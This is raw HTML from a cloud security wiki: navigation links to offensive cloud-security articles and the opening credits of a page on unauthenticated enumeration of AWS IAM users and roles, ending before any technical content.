4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2 checked> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette, Wes Ladd (@righteousgambit), and skdg</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/enumeration/enum_iam_user_role.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=unauthenticated-enumeration-of-iam-users-and-roles>Unauthenticated Enumeration of IAM Users and Roles<a class=headerlink href=#unauthenticated-enumeration-of-iam-users-and-roles title="Permanent link">&para;</a></h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><aside style=display:flex> <p><a href="https://www.youtube.com/watch?v=8ZXRw4Ry3mQlink">Hacking AWS end-to-end - remastered</a> by <a href=https://twitter.com/dagrz>Daniel Grzelak</a></p> <p><a class=glightbox href=/images/researchers/daniel_grzelak.jpg data-type=image data-width=auto data-height=auto data-desc-position=bottom><img src=/images/researchers/daniel_grzelak.jpg alt="Daniel Grzelak" style=width:44px;height:44px;margin:5px;border-radius:100%;max-width:unset></a></p> </aside></p> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M18 22a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2h-6v7L9.5 7.5 7 9V2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2z"/></svg></span> <strong>Additional Resources</strong></p> <hr> <p>Reference: <a href=https://rhinosecuritylabs.com/aws/aws-role-enumeration-iam-p2/ >Unauthenticated AWS Role Enumeration (IAM Revisited)</a></p> </li> <li> <p><span class="twemoji lg middle"><svg 